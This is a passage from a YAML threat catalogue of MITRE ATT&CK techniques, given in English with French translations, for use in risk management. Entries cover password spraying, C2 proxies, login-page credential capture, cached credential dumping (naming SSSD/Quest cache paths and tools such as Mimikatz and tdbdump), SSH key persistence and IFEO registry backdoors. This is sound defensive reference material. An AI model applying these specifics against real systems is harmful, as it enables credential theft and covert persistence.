        description: "Les adversaires peuvent utiliser une seule ou une petite liste\
          \ de mots de passe couramment utilis\xE9s sur de nombreux comptes diff\xE9\
          rents pour tenter d\u2019obtenir des informations d\u2019identification\
          \ de compte valides. La pulv\xE9risation de mots de passe utilise un seul\
          \ mot de passe (par exemple \xAB Password01 \xBB), ou une petite liste de\
          \ mots de passe couramment utilis\xE9s, qui peuvent correspondre \xE0 la\
          \ politique de complexit\xE9 du domaine. Les connexions sont tent\xE9es\
          \ avec ce mot de passe sur de nombreux comptes diff\xE9rents sur un r\xE9\
          seau afin d\u2019\xE9viter les verrouillages de compte qui se produiraient\
          \ normalement lors de la force brute d\u2019un seul compte avec plusieurs\
          \ mots de passe. (Citation : Pulv\xE9risation de mots de passe BlackHillsInfosec)\n\
          \nEn r\xE8gle g\xE9n\xE9rale, les services de gestion sur les ports couramment\
          \ utilis\xE9s sont utilis\xE9s lors de la pulv\xE9risation de mots de passe.\
          \ Les services les plus souvent cibl\xE9s sont les suivants :\n\n* SSH (22/TCP)\n\
          * Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP et 445/TCP)\n\
          * LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n\
          * Services de gestion HTTP/HTTP (80/TCP et 443/TCP)\n* MSSQL (1433/TCP)\n\
          * Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nOutre les services\
          \ de gestion, les adversaires peuvent \xAB cibler l\u2019authentification\
          \ unique (SSO) et les applications bas\xE9es sur le cloud \xE0 l\u2019aide\
          \ de protocoles d\u2019authentification f\xE9d\xE9r\xE9s \xBB, ainsi que\
          \ les applications de messagerie externes, telles qu\u2019Office 365. (R\xE9\
          f\xE9rence : US-CERT TA18-068A 2018)\n\nDans les environnements par d\xE9\
          faut, les tentatives de connexion LDAP et Kerberos sont moins susceptibles\
          \ de d\xE9clencher des \xE9v\xE9nements via SMB, ce qui cr\xE9e l\u2019\xE9\
          v\xE9nement d'\xAB \xE9chec de connexion \xBB Windows ID 4625.\nhttps://attack.mitre.org/techniques/T1110/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1090.002
    ref_id: T1090.002
    name: External Proxy
    description: 'Adversaries may use an external proxy to act as an intermediary
      for network communications to a command and control server to avoid direct connections
      to their infrastructure. Many tools exist that enable traffic redirection through
      proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040),
      ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries
      use these types of proxies to manage command and control communications, to
      provide resiliency in the face of connection loss, or to ride over existing
      trusted communications paths to avoid suspicion.


      External connection proxies are used to mask the destination of C2 traffic and
      are typically implemented with port redirectors. Compromised systems outside
      of the victim environment may be used for these purposes, as well as purchased
      infrastructure such as cloud-based resources or virtual private servers. Proxies
      may be chosen based on the low likelihood that a connection to them from a compromised
      system would be investigated. Victim systems would communicate directly with
      the external proxy on the Internet and then the proxy would forward communications
      to the C2 server.

      https://attack.mitre.org/techniques/T1090/002'
    translations:
      fr:
        name: Proxy externe
        description: "Les adversaires peuvent utiliser un proxy externe pour servir\
          \ d\u2019interm\xE9diaire pour les communications r\xE9seau vers un serveur\
          \ de commande et de contr\xF4le afin d\u2019\xE9viter les connexions directes\
          \ \xE0 leur infrastructure. Il existe de nombreux outils qui permettent\
          \ la redirection du trafic via des proxys ou la redirection de port, notamment\
          \ [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy et ZXPortMap.\
          \ (Citation : Outils d\u2019attaque APT de Trend Micro) Les adversaires\
          \ utilisent ces types de proxys pour g\xE9rer les communications de commande\
          \ et de contr\xF4le, pour assurer la r\xE9silience face \xE0 la perte de\
          \ connexion ou pour contourner les voies de communication fiables existantes\
          \ afin d\u2019\xE9viter les soup\xE7ons.\n\nLes proxys de connexion externe\
          \ sont utilis\xE9s pour masquer la destination du trafic C2 et sont g\xE9\
          n\xE9ralement impl\xE9ment\xE9s avec des redirecteurs de port. Les syst\xE8\
          mes compromis en dehors de l\u2019environnement victime peuvent \xEAtre\
          \ utilis\xE9s \xE0 ces fins, ainsi que l\u2019infrastructure achet\xE9e\
          \ telle que les ressources bas\xE9es sur le cloud ou les serveurs priv\xE9\
          s virtuels. Les proxys peuvent \xEAtre choisis en fonction de la faible\
          \ probabilit\xE9 qu\u2019une connexion \xE0 ceux-ci \xE0 partir d\u2019\
          un syst\xE8me compromis soit \xE9tudi\xE9e. Les syst\xE8mes victimes communiquaient\
          \ directement avec le proxy externe sur Internet, puis le proxy transmettait\
          \ les communications au serveur C2.\nhttps://attack.mitre.org/techniques/T1090/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1056.003
    ref_id: T1056.003
    name: Web Portal Capture
    description: 'Adversaries may install code on externally facing portals, such
      as a VPN login page, to capture and transmit credentials of users who attempt
      to log into the service. For example, a compromised login page may log provided
      user credentials before logging the user in to the service.


      This variation on input capture may be conducted post-compromise using legitimate
      administrative access as a backup measure to maintain network access through
      [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid
      Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial
      compromise by exploitation of the externally facing web service.(Citation: Volexity
      Virtual Private Keylogging)

      https://attack.mitre.org/techniques/T1056/003'
    translations:
      fr:
        name: Capture du portail Web
        description: "Les adversaires peuvent installer du code sur des portails externes,\
          \ tels qu\u2019une page de connexion VPN, pour capturer et transmettre les\
          \ informations d\u2019identification des utilisateurs qui tentent de se\
          \ connecter au service. Par exemple, une page de connexion compromise peut\
          \ enregistrer les informations d\u2019identification fournies \xE0 l\u2019\
          utilisateur avant de le connecter au service.\n\nCette variation de la capture\
          \ d\u2019entr\xE9e peut \xEAtre effectu\xE9e apr\xE8s la compromission en\
          \ utilisant un acc\xE8s administratif l\xE9gitime comme mesure de sauvegarde\
          \ pour maintenir l\u2019acc\xE8s au r\xE9seau via [Services \xE0 distance\
          \ externes](https://attack.mitre.org/techniques/T1133) et [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ ou dans le cadre de la compromission initiale par l\u2019exploitation\
          \ du service Web externe. (Citation : Volexity Virtual Private Keylogging)\n\
          https://attack.mitre.org/techniques/T1056/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1589.002
    ref_id: T1589.002
    name: Email Addresses
    description: 'Adversaries may gather email addresses that can be used during targeting.
      Even if internal instances exist, organizations may have public-facing email
      infrastructure and addresses for employees.


      Adversaries may easily gather email addresses, since they may be readily available
      and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:
      HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated
      via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)),
      such as probing and analyzing responses from authentication services that may
      reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example,
      adversaries may be able to enumerate email addresses in Office 365 environments
      by querying a variety of publicly available API endpoints, such as autodiscover
      and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation:
      Azure Active Directory Reconnaisance)


      Gathering this information may reveal opportunities for other forms of reconnaissance
      (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)),
      and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)
      or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote
      Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1589/002'
    translations:
      fr:
        name: Adresses e-mail
        description: "Les adversaires peuvent collecter des adresses e-mail qui peuvent\
          \ \xEAtre utilis\xE9es lors du ciblage. M\xEAme s\u2019il existe des instances\
          \ internes, les organisations peuvent disposer d\u2019une infrastructure\
          \ de messagerie publique et d\u2019adresses pour les employ\xE9s.\n\nLes\
          \ adversaires peuvent facilement recueillir des adresses \xE9lectroniques,\
          \ car elles peuvent \xEAtre facilement accessibles et expos\xE9es via des\
          \ ensembles de donn\xE9es en ligne ou d\u2019autres ensembles de donn\xE9\
          es accessibles (ex : [M\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001)\
          \ ou [Sites Web appartenant \xE0 la victime de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : HackersArise Email)(Citation : CNET Leaks) Les adresses e-mail\
          \ peuvent \xE9galement \xEAtre \xE9num\xE9r\xE9es par des moyens plus actifs\
          \ (c\u2019est-\xE0-dire [Analyse active](https://attack.mitre.org/techniques/T1595)),\
          \ tels que l\u2019exploration et l\u2019analyse des r\xE9ponses des services\
          \ d\u2019authentification qui peuvent r\xE9v\xE9ler des noms d\u2019utilisateur\
          \ valides dans un syst\xE8me. (Citation : GrimBlog Nom d\u2019utilisateurEnum)\
          \ Par exemple, les adversaires peuvent \xEAtre en mesure d\u2019\xE9num\xE9\
          rer des adresses e-mail dans des environnements Office 365 en interrogeant\
          \ divers points de terminaison d\u2019API disponibles publiquement, tels\
          \ que autodiscover et GetCredentialType. (citation : GitHub Office 365 User\
          \ Enumeration)(Citation : Azure Active Directory Reconnaisance)\n\nLa collecte\
          \ de ces informations peut r\xE9v\xE9ler des opportunit\xE9s pour d\u2019\
          autres formes de reconnaissance (ex : [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Comptes\
          \ de messagerie](https://attack.mitre.org/techniques/T1586/002))), et/ou\
          \ l\u2019acc\xE8s initial (ex : [Phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou [Force brute]( https://attack.mitre.org/techniques/T1110) via [Services\
          \ \xE0 distance externes](https://attack.mitre.org/techniques/T1133)).\n\
          https://attack.mitre.org/techniques/T1589/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1598.004
    ref_id: T1598.004
    name: Spearphishing Voice
    description: 'Adversaries may use voice communications to elicit sensitive information
      that can be used during targeting. Spearphishing for information is an attempt
      to trick targets into divulging information, frequently credentials or other
      actionable information. Spearphishing for information frequently involves social
      engineering techniques, such as posing as a source with a reason to collect
      information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656))
      and/or creating a sense of urgency or alarm for the recipient.


      All forms of phishing are electronically delivered social engineering. In this
      scenario, adversaries use phone calls to elicit sensitive information from victims.
      Known as voice phishing (or "vishing"), these communications can be manually
      executed by adversaries, hired call centers, or even automated via robocalls.
      Voice phishers may spoof their phone number while also posing as a trusted entity,
      such as a business partner or technical support staff.(Citation: BOA Telephone
      Scams)


      Victims may also receive phishing messages that direct them to call a phone
      number ("callback phishing") where the adversary attempts to collect confidential
      information.(Citation: Avertium callback phishing)


      Adversaries may also use information from previous reconnaissance efforts (ex:
      [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or
      [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to
      tailor pretexts to be even more persuasive and believable for the victim.

      https://attack.mitre.org/techniques/T1598/004'
    translations:
      fr:
        name: Voix de spearphishing
        description: "Les adversaires peuvent utiliser des communications vocales\
          \ pour obtenir des informations sensibles qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Le spearphishing pour obtenir des informations est une\
          \ tentative d\u2019inciter les cibles \xE0 divulguer des informations, souvent\
          \ des informations d\u2019identification ou d\u2019autres informations exploitables.\
          \ Le harponnage de l\u2019information fait souvent appel \xE0 des techniques\
          \ d\u2019ing\xE9nierie sociale, telles que se faire passer pour une source\
          \ ayant une raison de collecter des informations (ex : [Usurpation d\u2019\
          identit\xE9](https://attack.mitre.org/techniques/T1656)) et/ou cr\xE9er\
          \ un sentiment d\u2019urgence ou d\u2019alarme pour le destinataire.\n\n\
          Toutes les formes d\u2019hame\xE7onnage sont transmises par voie \xE9lectronique.\
          \ Dans ce sc\xE9nario, les adversaires utilisent des appels t\xE9l\xE9phoniques\
          \ pour obtenir des informations sensibles de la part des victimes. Connues\
          \ sous le nom de phishing vocal (ou \xAB vishing \xBB), ces communications\
          \ peuvent \xEAtre ex\xE9cut\xE9es manuellement par des adversaires, des\
          \ centres d\u2019appels embauch\xE9s ou m\xEAme automatis\xE9es via des\
          \ appels automatis\xE9s. Les hame\xE7onneurs vocaux peuvent usurper leur\
          \ num\xE9ro de t\xE9l\xE9phone tout en se faisant passer pour une entit\xE9\
          \ de confiance, telle qu\u2019un partenaire commercial ou un membre du personnel\
          \ d\u2019assistance technique. (Citation : Arnaques t\xE9l\xE9phoniques\
          \ BOA)\n\nLes victimes peuvent \xE9galement recevoir des messages d\u2019\
          hame\xE7onnage qui les informent d\u2019appeler un num\xE9ro de t\xE9l\xE9\
          phone (\xAB hame\xE7onnage par rappel \xBB) o\xF9 l\u2019adversaire tente\
          \ de collecter des informations confidentielles. (Citation : hame\xE7onnage\
          \ par rappel Avertium)\n\nLes adversaires peuvent \xE9galement utiliser\
          \ des informations provenant d\u2019efforts de reconnaissance ant\xE9rieurs\
          \ (par exemple : [Rechercher des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Rechercher des sites Web appartenant \xE0 la victime](https://attack.mitre.org/techniques/T1594))\
          \ pour adapter les pr\xE9textes afin qu\u2019ils soient encore plus persuasifs\
          \ et cr\xE9dibles pour la victime.\nhttps://attack.mitre.org/techniques/T1598/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.005
    ref_id: T1003.005
    name: Cached Domain Credentials
    description: "Adversaries may attempt to access cached domain credentials used\
      \ to allow authentication to occur in the event a domain controller is unavailable.(Citation:\
      \ Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is\
      \ DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2\
      \ hash.(Citation: PassLib mscache) The number of default cached credentials\
      \ varies and can be altered per system. This hash does not allow pass-the-hash\
      \ style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002)\
      \ to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems,\
      \ Active Directory credentials can be accessed through caches maintained by\
      \ software like System Security Services Daemon (SSSD) or Quest Authentication\
      \ Services (formerly VAS). Cached credential hashes are typically located at\
      \ `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb`\
      \ for Quest. Adversaries can use utilities, such as `tdbdump`, on these database\
      \ files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002)\
      \ to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\n\
      With SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002),\
      \ [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows\
      \ or Linikatz for Linux can be used to extract the cached credentials.(Citation:\
      \ Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are\
      \ derived using PBKDF2.(Citation: PassLib mscache)\nhttps://attack.mitre.org/techniques/T1003/005"
    translations:
      fr:
        name: "Informations d\u2019identification de domaine mises en cache"
        description: "Les adversaires peuvent tenter d\u2019acc\xE9der aux informations\
          \ d\u2019identification de domaine mises en cache utilis\xE9es pour permettre\
          \ l\u2019authentification en cas d\u2019indisponibilit\xE9 d\u2019un contr\xF4\
          leur de domaine. (Citation : Microsoft - Cr\xE9dits mis en cache)\n\nSur\
          \ Windows Vista et versions ult\xE9rieures, le format de hachage est le\
          \ hachage DCC2 (Domain Cached Credentials version 2), \xE9galement connu\
          \ sous le nom de hachage MS-Cache v2. (Citation : PassLib mscache) Le nombre\
          \ d\u2019informations d\u2019identification mises en cache par d\xE9faut\
          \ varie et peut \xEAtre modifi\xE9 selon le syst\xE8me. Ce hachage n\u2019\
          autorise pas les attaques de type pass-the-hash, mais n\xE9cessite \xE0\
          \ la place [Craquage de mot de passe](https://attack.mitre.org/techniques/T1110/002)\
          \ pour r\xE9cup\xE9rer le mot de passe en texte brut. (Citation : ired mscache)\n\
          \nSur les syst\xE8mes Linux, les informations d\u2019identification Active\
          \ Directory sont accessibles via des caches g\xE9r\xE9s par des logiciels\
          \ tels que System Security Services Daemon (SSSD) ou Quest Authentication\
          \ Services (anciennement VAS). Les hachages d\u2019informations d\u2019\
          identification mis en cache se trouvent g\xE9n\xE9ralement dans '/var/lib/sss/db/cache.\
          \ [domain].ldb' pour SSSD ou '/var/opt/quest/vas/authcache/vas_auth.vdb'\
          \ pour Quest. Les adversaires peuvent utiliser des utilitaires, tels que\
          \ 'tdbdump', sur ces fichiers de base de donn\xE9es pour vider les hachages\
          \ mis en cache et utiliser [Craquage de mot de passe](https://attack.mitre.org/techniques/T1110/002)\
          \ pour obtenir le mot de passe en texte brut. (Citation : Brining MimiKatz\
          \ \xE0 Unix) \n\nAvec l\u2019acc\xE8s SYSTEM ou sudo, les outils/utilitaires\
          \ tels que [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075)\
          \ et secretsdump.py pour Windows ou Linikatz pour Linux peuvent \xEAtre\
          \ utilis\xE9s pour extraire les informations d\u2019identification mises\
          \ en cache. (Citation : Brining MimiKatz \xE0 Unix)\n\nRemarque : Les informations\
          \ d\u2019identification mises en cache pour Windows Vista sont d\xE9riv\xE9\
          es \xE0 l\u2019aide de PBKDF2. (Citation : PassLib mscache)\nhttps://attack.mitre.org/techniques/T1003/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.004
    ref_id: T1098.004
    name: SSH Authorized Keys
    description: "Adversaries may modify the SSH <code>authorized_keys</code> file\
      \ to maintain persistence on a victim host. Linux distributions and macOS commonly\
      \ use key-based authentication to secure the authentication process of SSH sessions\
      \ for remote management. The <code>authorized_keys</code> file in SSH specifies\
      \ the SSH keys that can be used for logging into the user account for which\
      \ the file is configured. This file is usually found in the user's home directory\
      \ under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized\
      \ Keys) Users may edit the system\u2019s SSH config file to modify the directives\
      \ PubkeyAuthentication and RSAAuthentication to the value \u201Cyes\u201D to\
      \ ensure public key and RSA authentication are enabled. The SSH config file\
      \ is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries\
      \ may modify SSH <code>authorized_keys</code> files directly with scripts or\
      \ shell commands to add their own adversary-supplied public keys. In cloud environments,\
      \ adversaries may be able to modify the SSH authorized_keys file of a particular\
      \ virtual machine via the command line interface or rest API. For example, by\
      \ using the Google Cloud CLI\u2019s \u201Cadd-metadata\u201D command an adversary\
      \ may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation:\
      \ Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update\
      \ the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation:\
      \ Azure Update Virtual Machines) This ensures that an adversary possessing the\
      \ corresponding private key may log in as an existing user via SSH.(Citation:\
      \ Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead\
      \ to privilege escalation where the virtual machine or instance has distinct\
      \ permissions from the requesting user.\n\nWhere authorized_keys files are modified\
      \ via cloud APIs or command line interfaces, an adversary may achieve privilege\
      \ escalation on the target virtual machine if they add a key to a higher-privileged\
      \ user. \n\nSSH keys can also be added to accounts on network devices, such\
      \ as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
      \ command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)\nhttps://attack.mitre.org/techniques/T1098/004"
    translations:
      fr:
        name: "Cl\xE9s autoris\xE9es SSH"
        description: "Les adversaires peuvent modifier le fichier <code>de authorized_keys</code>\
          \ SSH pour maintenir la persistance sur un h\xF4te victime. Les distributions\
          \ Linux et macOS utilisent couramment l\u2019authentification bas\xE9e sur\
          \ les cl\xE9s pour s\xE9curiser le processus d\u2019authentification des\
          \ sessions SSH pour la gestion \xE0 distance. Le fichier <code>authorized_keys</code>\
          \ en SSH sp\xE9cifie les cl\xE9s SSH qui peuvent \xEAtre utilis\xE9es pour\
          \ se connecter au compte d\u2019utilisateur pour lequel le fichier est configur\xE9\
          . Ce fichier se trouve g\xE9n\xE9ralement dans le r\xE9pertoire personnel\
          \ de l\u2019utilisateur sous <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.\
          \ (Citation : Cl\xE9s autoris\xE9es SSH) Les utilisateurs peuvent modifier\
          \ le fichier de configuration SSH du syst\xE8me pour modifier les directives\
          \ PubkeyAuthentication et RSAAuthentication \xE0 la valeur \xAB yes \xBB\
          \ afin de s\u2019assurer que la cl\xE9 publique et l\u2019authentification\
          \ RSA sont activ\xE9es. Le fichier de configuration SSH se trouve g\xE9\
          n\xE9ralement sous <code>/etc/ssh/sshd_config</code>.\n\nLes adversaires\
          \ peuvent modifier les fichiers <code>authorized_keys</code> SSH directement\
          \ \xE0 l\u2019aide de scripts ou de commandes shell pour ajouter leurs propres\
          \ cl\xE9s publiques fournies par l\u2019adversaire. Dans les environnements\
          \ cloud, les adversaires peuvent \xEAtre en mesure de modifier le fichier\
          \ authorized_keys SSH d\u2019une machine virtuelle particuli\xE8re via l\u2019\
          interface de ligne de commande ou l\u2019API REST. Par exemple, \xE0 l\u2019\
          aide de la commande \xAB\_add-metadata\_\xBB de l\u2019interface de ligne\
          \ de commande Google Cloud, un adversaire peut ajouter des cl\xE9s SSH \xE0\
          \ un compte utilisateur. (citation : Google Cloud Ajouter des m\xE9tadonn\xE9\
          es)(Citation : \xC9l\xE9vation de privil\xE8ges Google Cloud) De m\xEAme,\
          \ dans Azure, un adversaire peut mettre \xE0 jour le fichier authorized_keys\
          \ d\u2019une machine virtuelle via une requ\xEAte PATCH adress\xE9e \xE0\
          \ l\u2019API. (Citation : Machines virtuelles de mise \xE0 jour Azure) Cela\
          \ garantit qu\u2019un adversaire poss\xE9dant la cl\xE9 priv\xE9e correspondante\
          \ peut se connecter en tant qu\u2019utilisateur existant via SSH. (Citation\
          \ : Abus de la cl\xE9 SSH de Venafi)(Citation : Cybereason Linux Exim Worm)\
          \ Cela peut \xE9galement entra\xEEner une \xE9l\xE9vation de privil\xE8\
          ges lorsque la machine virtuelle ou l\u2019instance dispose d\u2019autorisations\
          \ distinctes de celles de l\u2019utilisateur demandeur.\n\nLorsque authorized_keys\
          \ fichiers sont modifi\xE9s via des API cloud ou des interfaces de ligne\
          \ de commande, un adversaire peut obtenir une \xE9l\xE9vation de privil\xE8\
          ges sur la machine virtuelle cible s\u2019il ajoute une cl\xE9 \xE0 un utilisateur\
          \ disposant de privil\xE8ges plus \xE9lev\xE9s. \n\nLes cl\xE9s SSH peuvent\
          \ \xE9galement \xEAtre ajout\xE9es aux comptes sur les p\xE9riph\xE9riques\
          \ r\xE9seau, par exemple avec la commande 'ip ssh pubkey-chain' [Network\
          \ Device CLI](https://attack.mitre.org/techniques/T1059/008). (R\xE9f\xE9\
          rence : cisco_ip_ssh_pubkey_ch_cmd)\nhttps://attack.mitre.org/techniques/T1098/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590.006
    ref_id: T1590.006
    name: Network Security Appliances
    description: 'Adversaries may gather information about the victim''s network security
      appliances that can be used during targeting. Information about network security
      appliances may include a variety of details, such as the existence and specifics
      of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries
      may also target information about victim network-based intrusion detection systems
      (NIDS) or other appliances related to defensive cybersecurity operations.


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or
      [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation:
      Nmap Firewalls NIDS) Information about network security appliances may also
      be exposed to adversaries via online or other accessible data sets (ex: [Search
      Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering
      this information may reveal opportunities for other forms of reconnaissance
      (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1590/006'
    translations:
      fr:
        name: "Appliances de s\xE9curit\xE9 r\xE9seau"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ appliances de s\xE9curit\xE9 r\xE9seau de la victime qui peuvent \xEA\
          tre utilis\xE9es lors du ciblage. Les informations sur les appliances de\
          \ s\xE9curit\xE9 r\xE9seau peuvent inclure divers d\xE9tails, tels que l\u2019\
          existence et les sp\xE9cificit\xE9s des pare-feu d\xE9ploy\xE9s, des filtres\
          \ de contenu et des proxys/h\xF4tes bastionnaires. Les adversaires peuvent\
          \ \xE9galement cibler des informations sur les syst\xE8mes de d\xE9tection\
          \ d\u2019intrusion bas\xE9s sur le r\xE9seau (NIDS) de la victime ou d\u2019\
          autres appareils li\xE9s aux op\xE9rations de cybers\xE9curit\xE9 d\xE9\
          fensives.\n\nLes adversaires peuvent collecter ces informations de diff\xE9\
          rentes mani\xE8res, par exemple par le biais d\u2019une [analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou d\u2019un [hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ (Citation : Nmap firewalls NIDS) Les informations relatives aux appliances\
          \ de s\xE9curit\xE9 r\xE9seau peuvent \xE9galement \xEAtre expos\xE9es \xE0\
          \ des adversaires via des ensembles de donn\xE9es en ligne ou d\u2019autres\
          \ ensembles de donn\xE9es accessibles (ex : [Sites Web appartenant \xE0\
          \ des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ La collecte de ces informations peut r\xE9v\xE9ler des possibilit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Rechercher dans des\
          \ bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)\
          \ ou [Rechercher dans des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablir des ressources op\xE9rationnelles (ex : [D\xE9velopper\
          \ des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou [Obtenir\
          \ des capacit\xE9s](https://attack.mitre.org/techniques/T1588)), et/ou un\
          \ acc\xE8s initial (ex : [Externe \xE0 distance Services](https://attack.mitre.org/techniques/T1133)).\n\
          https://attack.mitre.org/techniques/T1590/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.012
    ref_id: T1546.012
    name: Image File Execution Options Injection
    description: "Adversaries may establish persistence and/or elevate privileges\
      \ by executing malicious content triggered by Image File Execution Options (IFEO)\
      \ debuggers. IFEOs enable a developer to attach a debugger to an application.\
      \ When a process is created, a debugger present in an application\u2019s IFEO\
      \ will be prepended to the application\u2019s name, effectively launching the\
      \ new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>).\
      \ (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly\
      \ via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft\
      \ GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in\
      \ the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows\
      \ NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where\
      \ <code>&lt;executable&gt;</code> is the binary on which the debugger is attached.\
      \ (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary\
      \ monitor program to be launched when a specified program silently exits (i.e.\
      \ is prematurely terminated by itself or a second, non kernel-mode process).\
      \ (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO\
      \ APR 2018) Similar to debuggers, silent exit monitoring can be enabled through\
      \ GFlags and/or by directly modifying IFEO and silent process exit Registry\
      \ values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\
      SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017)\
      \ (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008),\
      \ on Windows Vista and later as well as Windows Server 2008 and later, a Registry\
      \ key may be modified that configures \"cmd.exe,\" or another program that provides\
      \ backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe).\
      \ After the Registry is modified, pressing the appropriate key combination at\
      \ the login screen while at the keyboard or when connected with [Remote Desktop\
      \ Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"\
      debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury\
      \ 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055),\
      \ these values may also be abused to obtain privilege escalation by causing\
      \ a malicious executable to be loaded and run in the context of separate processes\
      \ on the computer. (Citation: Elastic Process Injection July 2017) Installing\
      \ IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\
      \nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562)\
      \ by registering invalid debuggers that redirect and effectively disable various\
      \ system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec\
      \ Ushedix June 2008)\nhttps://attack.mitre.org/techniques/T1546/012"
    translations:
      fr:
        name: "Injection d\u2019options d\u2019ex\xE9cution de fichier image"
        description: "Les adversaires peuvent \xE9tablir une persistance et/ou \xE9\
          lever des privil\xE8ges en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par des d\xE9bogueurs IFEO (Image File Execution Options). Les IFEO permettent\
          \ \xE0 un d\xE9veloppeur d\u2019attacher un d\xE9bogueur \xE0 une application.\
